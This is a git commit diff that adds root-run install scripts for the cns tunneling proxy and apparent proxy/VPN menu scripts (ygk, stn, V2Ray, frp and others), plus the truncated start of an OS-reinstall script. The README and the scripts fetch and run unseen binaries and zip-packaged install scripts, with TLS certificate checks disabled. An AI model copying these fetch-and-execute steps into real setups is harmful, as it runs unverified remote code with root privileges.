Initial commit

This commit is contained in:
hepingcaizi 2024-02-13 18:24:13 +08:00
parent 450b03e3d7
commit bd67768fc8
153 changed files with 2773 additions and 0 deletions

1
Cns/LICENSE Normal file
View File

@ -0,0 +1 @@

12
Cns/README.md Normal file
View File

@ -0,0 +1,12 @@
# Cns 一键脚本
```
wget --no-check-certificate -O cns.sh "https://gitcode.net/Dfsaadsa/Cns/-/raw/master/cns.sh" && sh cns.sh
```
1 右上角新建项目
2 创建空白项目
3 项目名称 随意 下面点击新建项目
4 添加license 直接提交 完成

109
Cns/cns.init Normal file
View File

@ -0,0 +1,109 @@
#!/bin/sh
#chkconfig: 2345 99 99
### BEGIN INIT INFO
# Provides: cns
# Required-Start: $all
# Required-Stop: $all
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start cns daemon at boot time
# Description: Start cns daemon at boot time
### END INIT INFO
START=99
usage()
{
if type systemctl && [ -z "$(systemctl --failed|grep -q 'Host is down')" ]; then
us="systemctl [start|stop|status|restart] cns.service"
else
if [ "$0" = '/etc/rc.common' ]; then
us="/etc/init.d/cns [start|stop|status|restart]"\
else
us="$0 [start|stop|status|restart]"
fi
fi &>/dev/null
echo "Usage:
$us
Config file is [cns_install_dir]/cns.json"
}
status()
{
{
grep -q cns /proc/`cat "[cns_install_dir]/run.pid" 2>/dev/null`/comm 2>/dev/null && \
echo "cns is running..." || \
echo "cns is stopped..."
} 2>/dev/null
}
start()
{
status | grep running && return 0
echo -n "Starting cns:"
for server_port in [cns_tcp_port_list]; do
iptables -I INPUT -p 6 --dport $server_port -j ACCEPT
ip6tables -I INPUT -p 6 --dport $server_port -j ACCEPT
done 2>/dev/null
cd "[cns_install_dir]"
rm -f "[cns_install_dir]/run.pid"
./cns -json=cns.json -daemon >/dev/null
sleep 3
count=0
while [ ! -f "[cns_install_dir]/run.pid" ] && [ "$count" -le 10 ]; do
sleep 1
count=$((count + 1))
done
grep -q cns /proc/`cat [cns_install_dir]/run.pid 2>/dev/null`/comm && \
echo -e "\033[60G[\033[32m OK \033[0m]" || \
echo -e "\033[60G[\033[31mFAILED\033[0m]"
}
stop()
{
for server_port in [cns_tcp_port_list]; do
while iptables -D INPUT -p 6 --dport $server_port -j ACCEPT; do :;done
while ip6tables -D INPUT -p 6 --dport $server_port -j ACCEPT; do :;done
done 2>/dev/null
status | grep stopped && return 0
echo -n "Stopping cns:"
kill `cat [cns_install_dir]/run.pid 2>/dev/null` 2>/dev/null
sleep 1
grep -q cns /proc/`cat [cns_install_dir]/run.pid`/comm 2>/dev/null && \
echo -e "\033[60G[\033[31mFAILED\033[0m]" || \
echo -e "\033[60G[\033[32m OK \033[0m]"
}
restart()
{
stop
start
}
systemdStart()
{
status | grep running && return 0
cd "[cns_install_dir]"
rm -f "[cns_install_dir]/run.pid"
for server_port in [cns_tcp_port_list]; do
iptables -I INPUT -p 6 --dport $server_port -j ACCEPT
ip6tables -I INPUT -p 6 --dport $server_port -j ACCEPT
done 2>/dev/null
./cns -json=cns.json >/dev/null
count=0
while [ ! -f "[cns_install_dir]/run.pid" ] && [ "$count" -le 10 ]; do
sleep 1
count=$((count + 1))
done
}
systemdRestart()
{
stop
systemdStart
}
if [ -z "$initscript" ]; then
${1:-usage}
fi

16
Cns/cns.service Normal file
View File

@ -0,0 +1,16 @@
[Unit]
Description=cns
Documentation=https://github.com/mmmdbybyd/CNS/
[Service]
Type=simple
PIDFile=[cns_install_dir]/run.pid
ExecStart=[cns_install_dir]/cns.init systemdStart
ExecReload=[cns_install_dir]/cns.init systemdRestart
ExecStop=[cns_install_dir]/cns.init stop
PrivateTmp=true
KillMode=control-group
[Install]
WantedBy=multi-user.target

164
Cns/cns.sh Normal file
View File

@ -0,0 +1,164 @@
#!/bin/bash
#==========================#
###### Author: CuteBi ######
#==========================#
#Stop cns & delete cns files.
Delete() {
systemctl disable cns.service
rm -f /etc/init.d/cns /lib/systemd/system/cns.service
if [ -f "${cns_install_dir:=/usr/local/cns}/cns.init" ]; then
"$cns_install_dir"/cns.init stop
rm -rf "$cns_install_dir"
fi
}
#Print error message and exit.
Error() {
echo $echo_e_arg "\033[41;37m$1\033[0m"
echo -n "remove cns?[y]: "
read remove
echo "$remove"|grep -qi 'n' || Delete
exit 1
}
#Make cns start cmd
Config() {
[ -n "$cns_install_dir" ] && return #Variables come from the environment
clear
echo $echo_e_arg "\033[0;34m以修改为本地国内源请放心安装 \033[0m"
echo ""
echo -n '请输入cns服务端口(如果不用请留空): '
read cns_port
echo -n '请输入cns加密密码(默认不加密): '
read cns_encrypt_password
echo -n "请输入cns的udp标识(默认: 'httpUDP'): "
read cns_udp_flag
echo -n "请输入cns代理头域(默认: 'Meng'): "
read cns_proxy_key
echo -n '请输入tls服务端口(如果不用请留空): '
read cns_tls_port
echo -n '请输入cns安装目录(默认/usr/local/cns): '
read cns_install_dir
echo "${cns_install_dir:=/usr/local/cns}"|grep -q '^/' || cns_install_dir="$PWD/$cns_install_dir"
echo -n "是否安装UPX压缩版?[n]: "
read cns_UPX
echo "$cns_UPX"|grep -qi '^y' && cns_UPX="upx" || cns_UPX=""
}
GetAbi() {
machine=`uname -m`
#mips[...] use 'le' version
if echo "$machine"|grep -q 'mips64'; then
shContent=`cat "$SHELL"`
[ "${shContent:5:1}" = `echo $echo_e_arg "\x01"` ] && machine='mips64le' || machine='mips64'
elif echo "$machine"|grep -q 'mips'; then
shContent=`cat "$SHELL"`
[ "${shContent:5:1}" = `echo $echo_e_arg "\x01"` ] && machine='mipsle' || machine='mips'
elif echo "$machine"|grep -Eq 'i686|i386'; then
machine='386'
elif echo "$machine"|grep -Eq 'armv7|armv6'; then
machine='arm'
elif echo "$machine"|grep -Eq 'armv8|aarch64'; then
machine='arm64'
else
machine='amd64'
fi
}
#install cns files
InstallFiles() {
GetAbi
if echo "$machine" | grep -q '^mips'; then
cat /proc/cpuinfo | grep -qiE 'fpu|neon|vfp|softfp|asimd' || softfloat='_softfloat'
fi
mkdir -p "$cns_install_dir" || Error "Create cns install directory failed."
cd "$cns_install_dir" || exit 1
$download_tool_cmd cns https://notabug.org/donggg/Cns/raw/master/linux_${machine}${softfloat} || Error "cns download failed."
$download_tool_cmd cns.init https://notabug.org/donggg/Cns/raw/master/cns.init || Error "cns.init download failed."
[ -f '/etc/rc.common' ] && rcCommon='/etc/rc.common'
sed -i "s~#!/bin/sh~#!$SHELL $rcCommon~" cns.init
sed -i "s~\[cns_start_cmd\]~$cns_start_cmd~g" cns.init
sed -i "s~\[cns_install_dir\]~$cns_install_dir~g" cns.init
sed -i "s~\[cns_tcp_port_list\]~$cns_port $cns_tls_port~g" cns.init
ln -s "$cns_install_dir/cns.init" /etc/init.d/cns
cat >cns.json <<-EOF
{
`[ -n "$cns_port" ] && echo '"Listen_addr": [":'$cns_port'"],'`
"Proxy_key": "${cns_proxy_key:-Meng}",
"Encrypt_password": "${cns_encrypt_password}",
"Udp_flag": "${cns_udp_flag:-httpUDP}",
"Enable_dns_tcpOverUdp": true,
"Enable_httpDNS": true,
"Enable_TFO": false,
"Udp_timeout": 60,
"Tcp_timeout": 600,
"Pid_path": "${cns_install_dir}/run.pid"
`[ -n "$cns_tls_port" ] && echo ',
"Tls": {
"Listen_addr": [":'$cns_tls_port'"]
}'`
}
EOF
chmod -R +rwx "$cns_install_dir" /etc/init.d/cns
if type systemctl && [ -z "$(systemctl --failed|grep -q 'Host is down')" ]; then
$download_tool_cmd /lib/systemd/system/cns.service https://notabug.org/donggg/Cns/raw/master/cns.service || Error "cns.service download failed."
chmod +rwx /lib/systemd/system/cns.service
sed -i "s~\[cns_install_dir\]~$cns_install_dir~g" /lib/systemd/system/cns.service
systemctl daemon-reload
fi
}
#install initialization
InstallInit() {
echo -n "是否更新系统?[n]: "
read update
PM=`type apt-get || type yum`
PM=`echo "$PM" | grep -o '/.*'`
echo "$update"|grep -qi 'y' && $PM -y update
$PM -y install curl wget unzip
type curl && download_tool_cmd='curl -L -ko' || download_tool_cmd='wget --no-check-certificate -O'
}
Install() {
Config
Delete >/dev/null 2>&1
sleep 3
InstallInit
InstallFiles
"${cns_install_dir}/cns.init" start|grep -q FAILED && "${cns_install_dir}/cns.init" start|grep -q FAILED && Error "cns install failed."
type systemctl && [ -z "$(systemctl --failed|grep -q 'Host is down')" ] && systemctl restart cns
echo $echo_e_arg \
"\033[44;37mcns install success.\033[0;34m
\r cns server port:\033[35G${cns_port}
\r cns proxy key:\033[35G${cns_proxy_key:-Meng}
\r cns udp flag:\033[35G${cns_udp_flag:-httpUDP}
\r cns encrypt password:\033[35G${cns_encrypt_password}
\r cns tls server port:\033[35G${cns_tls_port}
\r`[ -f /etc/init.d/cns ] && /etc/init.d/cns usage || \"$cns_install_dir/cns.init\" usage`\033[0m"
}
Uninstall() {
if [ -z "$cns_install_dir" ]; then
echo -n "Please input cns install directory(default is /usr/local/cns): "
read cns_install_dir
fi
Delete >/dev/null 2>&1 && \
echo $echo_e_arg "\n\033[44;37mcns uninstall success.\033[0m" || \
echo $echo_e_arg "\n\033[41;37mcns uninstall failed.\033[0m"
}
#script initialization
ScriptInit() {
emulate bash 2>/dev/null #zsh emulation mode
if echo -e ''|grep -q 'e'; then
echo_e_arg=''
echo_E_arg=''
else
echo_e_arg='-e'
echo_E_arg='-E'
fi
}
ScriptInit
echo $*|grep -qi uninstall && Uninstall || Install

BIN
Cns/darwin_amd64 Normal file

Binary file not shown.

BIN
Cns/freebsd_386 Normal file

Binary file not shown.

BIN
Cns/freebsd_amd64 Normal file

Binary file not shown.

BIN
Cns/linux_386 Normal file

Binary file not shown.

BIN
Cns/linux_amd64 Normal file

Binary file not shown.

BIN
Cns/linux_arm Normal file

Binary file not shown.

BIN
Cns/linux_arm64 Normal file

Binary file not shown.

BIN
Cns/linux_mips Normal file

Binary file not shown.

BIN
Cns/linux_mips64 Normal file

Binary file not shown.

BIN
Cns/linux_mips64_softfloat Normal file

Binary file not shown.

BIN
Cns/linux_mips64le Normal file

Binary file not shown.

Binary file not shown.

BIN
Cns/linux_mips_softfloat Normal file

Binary file not shown.

BIN
Cns/linux_mipsle Normal file

Binary file not shown.

BIN
Cns/linux_mipsle_softfloat Normal file

Binary file not shown.

BIN
Cns/windows_386.exe Normal file

Binary file not shown.

BIN
Cns/windows_amd64.exe Normal file

Binary file not shown.

View File

@ -1,4 +1,7 @@
# Hello World
cns ygk stn 可用核心
从命令行创建一个新的仓库
touch README.md

129
nubia/2stn.sh Normal file
View File

@ -0,0 +1,129 @@
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[36m"
BLANK="\033[0m"
colorEcho() {
COLOR=$1
shift # delete first parameter
echo -e "${COLOR}${@}${BLANK}"
echo
}
colorRead() {
COLOR=$1
OUTPUT=$2
VARIABLE=$3
echo -e -n "$COLOR$OUTPUT${BLANK}: "
read $VARIABLE </dev/tty
echo
}
cmd_need() {
update_flag=0
exit_flag=0
for cmd in $1; do
if ! command -v $cmd >/dev/null 2>&1; then
# check if auto install
if command apt >/dev/null 2>&1; then
# apt install package need update first
if [ "update_flag" = "0" ]; then
apt update >/dev/null 2>&1
update_flag=1
fi
package=$(dpkg -S bin/$cmd 2>&1 | grep "bin/$cmd$" | awk -F':' '{print $1}')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
apt install $package -y >/dev/null 2>&1
continue
fi
elif command yum >/dev/null 2>&1; then
package=$(yum whatprovides *bin/$cmd 2>&1 | grep " : " | awk -F' : ' '{print $1}' | sed -n '1p')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
yum install $package -y >/dev/null 2>&1
continue
fi
fi
colorEcho $RED "找不到 $cmd 命令"
exit_flag=1
fi
done
if [ "$exit_flag" = "1" ]; then
exit 1
fi
}
install_zip() {
key="$1"
if [ -d "/usr" -a ! -z "$(command -v apt-get yum)" ]; then
wp="/usr/local/$key"
else
colorRead $YELLOW "请输入安装目录,例如:/usr/local不能是/bin " wp
[ -z "$wp" ] && exit 1
wp=$(echo "$wp/$key" | sed 's|///*|/|g') # 连续的 / 变为一个
fi
zip="$key.zip"
if [ -d "$wp" ]; then
colorEcho $YELLOW "正在卸载 $key..."
bash $wp/uninstall.sh >/dev/null 2>&1
fi
colorEcho $YELLOW "正在安装 $key$wp ..."
curl -OL https://gitee.com/peace-talent/STNHX/raw/master/abcd/$zip
rm -rf $wp
mkdir -p $wp
unzip -q -o $zip -d $wp
rm -f $zip
sed -i "s|wp=.*|wp=\"$wp\"|g" $wp/*.sh # 修改路径
bash $wp/install.sh
}
check_environment() {
if [ "${EUID:-$(id -u)}" != "0" ]; then
colorEcho $RED "请切换到root用户后再执行此脚本"
exit 1
fi
}
jzdh_add() {
JZDH_ZIP="$JZDH_ZIP$1 $2\n"
}
panel() {
clear
check_environment
cmd_need 'iptables unzip netstat curl'
jzdh_add "ygk" "ygk"
jzdh_add "stn" "stn"
colorEcho $BLUE "欢迎使用 JZDH 集合脚本"
var=1
echo -e "$JZDH_ZIP" | grep -Ev '^$' | while read zip; do
zip_path="$(echo "$zip" | awk '{print $NF}')"
zip_name="$(echo "$zip" | awk '{$NF=""; print $0}')"
if [ -d "/usr/local/$zip_path" ]; then
printf "%3s. 安装 ${GREEN}$zip_name${BLANK}\n" "$((var++))"
else
printf "%3s. 安装 $zip_name\n" "$((var++))"
fi
done
echo && colorRead ${YELLOW} '请选择' panel_choice
[ -z "$panel_choice" ] && clear && exit 0
for J in $panel_choice; do
install_zip $(echo -e "$JZDH_ZIP" | sed -n "${J}p" | awk '{print $NF}')
done
}
panel

128
nubia/Back.sh Normal file
View File

@ -0,0 +1,128 @@
#!/bin/sh
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[36m"
BLANK="\033[0m"
colorEcho() {
COLOR=$1
shift # delete first parameter
echo -e "${COLOR}${@}${BLANK}"
echo
}
colorRead() {
COLOR=$1
OUTPUT=$2
VARIABLE=$3
echo -e -n "$COLOR$OUTPUT${BLANK}: "
read $VARIABLE </dev/tty
echo
}
cmd_need() {
update_flag=0
exit_flag=0
for cmd in $1; do
if ! command -v $cmd >/dev/null 2>&1; then
# check if auto install
if command apt >/dev/null 2>&1; then
# apt install package need update first
if [ "update_flag" = "0" ]; then
apt update >/dev/null 2>&1
update_flag=1
fi
package=$(dpkg -S bin/$cmd 2>&1 | grep "bin/$cmd$" | awk -F':' '{print $1}')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
apt install $package -y >/dev/null 2>&1
continue
fi
elif command yum >/dev/null 2>&1; then
package=$(yum whatprovides *bin/$cmd 2>&1 | grep " : " | awk -F' : ' '{print $1}' | sed -n '1p')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
yum install $package -y >/dev/null 2>&1
continue
fi
fi
colorEcho $RED "找不到 $cmd 命令"
exit_flag=1
fi
done
if [ "$exit_flag" = "1" ]; then
exit 1
fi
}
install_zip() {
key="$1"
if [ -d "/usr" -a ! -z "$(command -v apt-get yum)" ]; then
wp="/usr/local/$key"
else
colorRead $YELLOW "请输入安装目录,例如:/usr/local不能是/bin " wp
[ -z "$wp" ] && exit 1
wp=$(echo "$wp/$key" | sed 's|///*|/|g') # 连续的 / 变为一个
fi
zip="$key.zip"
if [ -d "$wp" ]; then
colorEcho $YELLOW "正在卸载 $key..."
sh $wp/uninstall.sh >/dev/null 2>&1
fi
colorEcho $YELLOW "正在安装 $key$wp ..."
curl -OL https://gitee.com/peace-talent/nubia/raw/master/server_script/$zip
rm -rf $wp
mkdir -p $wp
unzip -q -o $zip -d $wp
rm -f $zip
sed -i "s|wp=.*|wp=\"$wp\"|g" $wp/*.sh # 修改路径
sh $wp/install.sh
}
check_environment() {
if [ "${EUID:-$(id -u)}" != "0" ]; then
colorEcho $RED "请切换到root用户后再执行此脚本"
exit 1
fi
}
jzdh_add() {
JZDH_ZIP="$JZDH_ZIP$1 $2\n"
}
panel() {
clear
check_environment
cmd_need 'iptables unzip netstat curl'
jzdh_add "ygk" "ygk"
jzdh_add "stn" "stn"
colorEcho $BLUE "欢迎使用 JZDH 集合脚本"
var=1
echo -e "$JZDH_ZIP" | grep -Ev '^$' | while read zip; do
zip_path="$(echo "$zip" | awk '{print $NF}')"
zip_name="$(echo "$zip" | awk '{$NF=""; print $0}')"
if [ -d "/usr/local/$zip_path" ]; then
printf "%3s. 安装 ${GREEN}$zip_name${BLANK}\n" "$((var++))"
else
printf "%3s. 安装 $zip_name\n" "$((var++))"
fi
done
echo && colorRead ${YELLOW} '请选择' panel_choice
[ -z "$panel_choice" ] && clear && exit 0
for J in $panel_choice; do
install_zip $(echo -e "$JZDH_ZIP" | sed -n "${J}p" | awk '{print $NF}')
done
}
panel

146
nubia/Backstage.sh Normal file
View File

@ -0,0 +1,146 @@
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[36m"
BLANK="\033[0m"
colorEcho() {
COLOR=$1
shift # delete first parameter
echo -e "${COLOR}${@}${BLANK}"
echo
}
colorRead() {
COLOR=$1
OUTPUT=$2
VARIABLE=$3
echo -e -n "$COLOR$OUTPUT${BLANK}: "
read $VARIABLE </dev/tty
echo
}
cmd_need() {
update_flag=0
exit_flag=0
for cmd in $1; do
if ! command -v $cmd >/dev/null 2>&1; then
# check if auto install
if command apt >/dev/null 2>&1; then
# apt install package need update first
if [ "update_flag" = "0" ]; then
apt update >/dev/null 2>&1
update_flag=1
fi
package=$(dpkg -S bin/$cmd 2>&1 | grep "bin/$cmd$" | awk -F':' '{print $1}')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
apt install $package -y >/dev/null 2>&1
continue
fi
elif command yum >/dev/null 2>&1; then
package=$(yum whatprovides *bin/$cmd 2>&1 | grep " : " | awk -F' : ' '{print $1}' | sed -n '1p')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
yum install $package -y >/dev/null 2>&1
continue
fi
fi
colorEcho $RED "找不到 $cmd 命令"
exit_flag=1
fi
done
if [ "$exit_flag" = "1" ]; then
exit 1
fi
}
install_zip() {
key="$1"
if [ -d "/usr" -a ! -z "$(command -v apt-get yum)" ]; then
wp="/usr/local/$key"
else
colorRead $YELLOW "请输入安装目录,例如:/usr/local不能是/bin " wp
[ -z "$wp" ] && exit 1
wp=$(echo "$wp/$key" | sed 's|///*|/|g') # 连续的 / 变为一个
fi
zip="$key.zip"
if [ -d "$wp" ]; then
colorEcho $YELLOW "正在卸载 $key..."
sh $wp/uninstall.sh >/dev/null 2>&1
fi
colorEcho $YELLOW "正在安装 $key$wp ..."
curl -OL https://gitee.com/peace-talent/nubia/raw/master/server_script/$zip
rm -rf $wp
mkdir -p $wp
unzip -q -o $zip -d $wp
rm -f $zip
sed -i "s|wp=.*|wp=\"$wp\"|g" $wp/*.sh # 修改路径
sh $wp/install.sh
}
check_environment() {
if [ "${EUID:-$(id -u)}" != "0" ]; then
colorEcho $RED "请切换到root用户后再执行此脚本"
exit 1
fi
#if [ "$(uname -r | awk -F '.' '{print $1}')" -lt "3" ]; then
colorEcho $RED "内核太老,请升级内核或更新系统!"
#exit 1
#fi
}
jzdh_add() {
JZDH_ZIP="$JZDH_ZIP$1 $2\n"
}
panel() {
clear
check_environment
cmd_need 'iptables unzip netstat curl'
jzdh_add "V2Ray" "v2ray"
jzdh_add "ssr_jzdh" "ssr_jzdh"
jzdh_add "BBR" "BBR"
jzdh_add "AriaNG" "AriaNG"
jzdh_add "frp" "frps"
jzdh_add "swap 分区" "swapfile"
jzdh_add "oneindex" "oneindex"
jzdh_add "openvpn" "openvpn"
jzdh_add "wireguard" "wireguard"
jzdh_add "tinyvpn-udp2raw" "tinyvpn"
jzdh_add "smartdns" "smartdns"
jzdh_add "tun2socks-v2ray 透明代理" "tun2socks"
jzdh_add "v2ray 透明代理TPROXY + REDIRECT" "v2rayT"
jzdh_add "ygk" "ygk"
jzdh_add "l_ygklinux 客户端)" "l_ygk"
jzdh_add "stn" "stn"
colorEcho $BLUE "欢迎使用 JZDH 集合脚本"
var=1
echo -e "$JZDH_ZIP" | grep -Ev '^$' | while read zip; do
zip_path="$(echo "$zip" | awk '{print $NF}')"
zip_name="$(echo "$zip" | awk '{$NF=""; print $0}')"
if [ -d "/usr/local/$zip_path" ]; then
printf "%3s. 安装 ${GREEN}$zip_name${BLANK}\n" "$((var++))"
else
printf "%3s. 安装 $zip_name\n" "$((var++))"
fi
done
echo && colorRead ${YELLOW} '请选择' panel_choice
[ -z "$panel_choice" ] && clear && exit 0
for J in $panel_choice; do
install_zip $(echo -e "$JZDH_ZIP" | sed -n "${J}p" | awk '{print $NF}')
done
}
panel

146
nubia/Backstage.zip Normal file
View File

@ -0,0 +1,146 @@
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[36m"
BLANK="\033[0m"
colorEcho() {
COLOR=$1
shift # delete first parameter
echo -e "${COLOR}${@}${BLANK}"
echo
}
colorRead() {
COLOR=$1
OUTPUT=$2
VARIABLE=$3
echo -e -n "$COLOR$OUTPUT${BLANK}: "
read $VARIABLE </dev/tty
echo
}
cmd_need() {
update_flag=0
exit_flag=0
for cmd in $1; do
if ! command -v $cmd >/dev/null 2>&1; then
# check if auto install
if command apt >/dev/null 2>&1; then
# apt install package need update first
if [ "update_flag" = "0" ]; then
apt update >/dev/null 2>&1
update_flag=1
fi
package=$(dpkg -S bin/$cmd 2>&1 | grep "bin/$cmd$" | awk -F':' '{print $1}')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
apt install $package -y >/dev/null 2>&1
continue
fi
elif command yum >/dev/null 2>&1; then
package=$(yum whatprovides *bin/$cmd 2>&1 | grep " : " | awk -F' : ' '{print $1}' | sed -n '1p')
if [ ! -z "$package" ]; then
colorEcho $BLUE "正在安装 $cmd ..."
yum install $package -y >/dev/null 2>&1
continue
fi
fi
colorEcho $RED "找不到 $cmd 命令"
exit_flag=1
fi
done
if [ "$exit_flag" = "1" ]; then
exit 1
fi
}
install_zip() {
key="$1"
if [ -d "/usr" -a ! -z "$(command -v apt-get yum)" ]; then
wp="/usr/local/$key"
else
colorRead $YELLOW "请输入安装目录,例如:/usr/local不能是/bin " wp
[ -z "$wp" ] && exit 1
wp=$(echo "$wp/$key" | sed 's|///*|/|g') # 连续的 / 变为一个
fi
zip="$key.zip"
if [ -d "$wp" ]; then
colorEcho $YELLOW "正在卸载 $key..."
sh $wp/uninstall.sh >/dev/null 2>&1
fi
colorEcho $YELLOW "正在安装 $key 到 $wp ..."
curl -OL https://gitee.com/peace-talent/nubia/raw/master/server_script/$zip
rm -rf $wp
mkdir -p $wp
unzip -q -o $zip -d $wp
rm -f $zip
sed -i "s|wp=.*|wp=\"$wp\"|g" $wp/*.sh # 修改路径
sh $wp/install.sh
}
check_environment() {
if [ "${EUID:-$(id -u)}" != "0" ]; then
colorEcho $RED "请切换到root用户后再执行此脚本"
exit 1
fi
#if [ "$(uname -r | awk -F '.' '{print $1}')" -lt "3" ]; then
colorEcho $RED "内核太老,请升级内核或更新系统!"
#exit 1
#fi
}
jzdh_add() {
JZDH_ZIP="$JZDH_ZIP$1 $2\n"
}
panel() {
clear
check_environment
cmd_need 'iptables unzip netstat curl'
jzdh_add "V2Ray" "v2ray"
jzdh_add "ssr_jzdh" "ssr_jzdh"
jzdh_add "BBR" "BBR"
jzdh_add "AriaNG" "AriaNG"
jzdh_add "frp" "frps"
jzdh_add "swap 分区" "swapfile"
jzdh_add "oneindex" "oneindex"
jzdh_add "openvpn" "openvpn"
jzdh_add "wireguard" "wireguard"
jzdh_add "tinyvpn-udp2raw" "tinyvpn"
jzdh_add "smartdns" "smartdns"
jzdh_add "tun2socks-v2ray 透明代理" "tun2socks"
jzdh_add "v2ray 透明代理TPROXY + REDIRECT" "v2rayT"
jzdh_add "ygk" "ygk"
jzdh_add "l_ygklinux 客户端)" "l_ygk"
jzdh_add "stn" "stn"
colorEcho $BLUE "欢迎使用 JZDH 集合脚本"
var=1
echo -e "$JZDH_ZIP" | grep -Ev '^$' | while read zip; do
zip_path="$(echo "$zip" | awk '{print $NF}')"
zip_name="$(echo "$zip" | awk '{$NF=""; print $0}')"
if [ -d "/usr/local/$zip_path" ]; then
printf "%3s. 安装 ${GREEN}$zip_name${BLANK}\n" "$((var++))"
else
printf "%3s. 安装 $zip_name\n" "$((var++))"
fi
done
echo && colorRead ${YELLOW} '请选择' panel_choice
[ -z "$panel_choice" ] && clear && exit 0
for J in $panel_choice; do
install_zip $(echo -e "$JZDH_ZIP" | sed -n "${J}p" | awk '{print $NF}')
done
}
panel

863
nubia/InstallNET.sh Normal file
View File

@ -0,0 +1,863 @@
#!/bin/bash
## License: GPL
## It can reinstall Debian, Ubuntu, CentOS system with network.
## Default root password: MoeClub.org
## Blog: https://moeclub.org
## Written By MoeClub.org
export tmpVER=''
export tmpDIST=''
export tmpURL=''
export tmpWORD=''
export tmpMirror=''
export tmpSSL=''
export tmpINS=''
export ipAddr=''
export ipMask=''
export ipGate=''
export Relese=''
export ddMode='0'
export setNet='0'
export setRDP='0'
export setIPv6='0'
export isMirror='0'
export FindDists='0'
export loaderMode='0'
export IncFirmware='0'
export SpikCheckDIST='0'
export setInterfaceName='0'
export UNKNOWHW='0'
export UNVER='6.4'
while [[ $# -ge 1 ]]; do
case $1 in
-v|--ver)
shift
tmpVER="$1"
shift
;;
-d|--debian)
shift
Relese='Debian'
tmpDIST="$1"
shift
;;
-u|--ubuntu)
shift
Relese='Ubuntu'
tmpDIST="$1"
shift
;;
-c|--centos)
shift
Relese='CentOS'
tmpDIST="$1"
shift
;;
-dd|--image)
shift
ddMode='1'
tmpURL="$1"
shift
;;
-p|--password)
shift
tmpWORD="$1"
shift
;;
-i|--interface)
shift
interface="$1"
shift
;;
--ip-addr)
shift
ipAddr="$1"
shift
;;
--ip-mask)
shift
ipMask="$1"
shift
;;
--ip-gate)
shift
ipGate="$1"
shift
;;
--dev-net)
shift
setInterfaceName='1'
;;
--loader)
shift
loaderMode='1'
;;
--prefer)
shift
tmpPrefer="$1"
shift
;;
-a|--auto)
shift
tmpINS='auto'
;;
-m|--manual)
shift
tmpINS='manual'
;;
-apt|-yum|--mirror)
shift
isMirror='1'
tmpMirror="$1"
shift
;;
-rdp)
shift
setRDP='1'
WinRemote="$1"
shift
;;
-ssl)
shift
tmpSSL="$1"
shift
;;
-firmware)
shift
IncFirmware="1"
;;
--ipv6)
shift
setIPv6='1'
;;
*)
if [[ "$1" != 'error' ]]; then echo -ne "\nInvaild option: '$1'\n\n"; fi
echo -ne " Usage:\n\tbash $(basename $0)\t-d/--debian [\033[33m\033[04mdists-name\033[0m]\n\t\t\t\t-u/--ubuntu [\033[04mdists-name\033[0m]\n\t\t\t\t-c/--centos [\033[33m\033[04mdists-verison\033[0m]\n\t\t\t\t-v/--ver [32/\033[33m\033[04mi386\033[0m|64/amd64]\n\t\t\t\t--ip-addr/--ip-gate/--ip-mask\n\t\t\t\t-apt/-yum/--mirror\n\t\t\t\t-dd/--image\n\t\t\t\t-a/--auto\n\t\t\t\t-m/--manual\n"
exit 1;
;;
esac
done
[[ "$EUID" -ne '0' ]] && echo "Error:This script must be run as root!" && exit 1;
function CheckDependence(){
FullDependence='0';
for BIN_DEP in `echo "$1" |sed 's/,/\n/g'`
do
if [[ -n "$BIN_DEP" ]]; then
Founded='0';
for BIN_PATH in `echo "$PATH" |sed 's/:/\n/g'`
do
ls $BIN_PATH/$BIN_DEP >/dev/null 2>&1;
if [ $? == '0' ]; then
Founded='1';
break;
fi
done
if [ "$Founded" == '1' ]; then
echo -en "[\033[32mok\033[0m]\t";
else
FullDependence='1';
echo -en "[\033[31mNot Install\033[0m]";
fi
echo -en "\t$BIN_DEP\n";
fi
done
if [ "$FullDependence" == '1' ]; then
echo -ne "\n\033[31mError! \033[0mPlease use '\033[33mapt-get\033[0m' or '\033[33myum\033[0m' install it.\n\n\n"
exit 1;
fi
}
function SelectMirror(){
[ $# -ge 3 ] || exit 1
Relese="$1"
DIST=$(echo "$2" |sed 's/\ //g' |sed -r 's/(.*)/\L\1/')
VER=$(echo "$3" |sed 's/\ //g' |sed -r 's/(.*)/\L\1/')
New=$(echo "$4" |sed 's/\ //g')
[ -n "$Relese" ] || exit 1
[ -n "$DIST" ] || exit 1
[ -n "$VER" ] || exit 1
relese=$(echo $Relese |sed -r 's/(.*)/\L\1/')
if [ "$Relese" == "Debian" ] || [ "$Relese" == "Ubuntu" ]; then
inUpdate=''; [ "$Relese" == "Ubuntu" ] && inUpdate=''
MirrorTEMP="SUB_MIRROR/dists/${DIST}${inUpdate}/main/installer-${VER}/current/images/netboot/${relese}-installer/${VER}/initrd.gz"
elif [ "$Relese" == "CentOS" ]; then
MirrorTEMP="SUB_MIRROR/${DIST}/os/${VER}/isolinux/initrd.img"
fi
[ -n "$MirrorTEMP" ] || exit 1
MirrorStatus=0
declare -A MirrorBackup
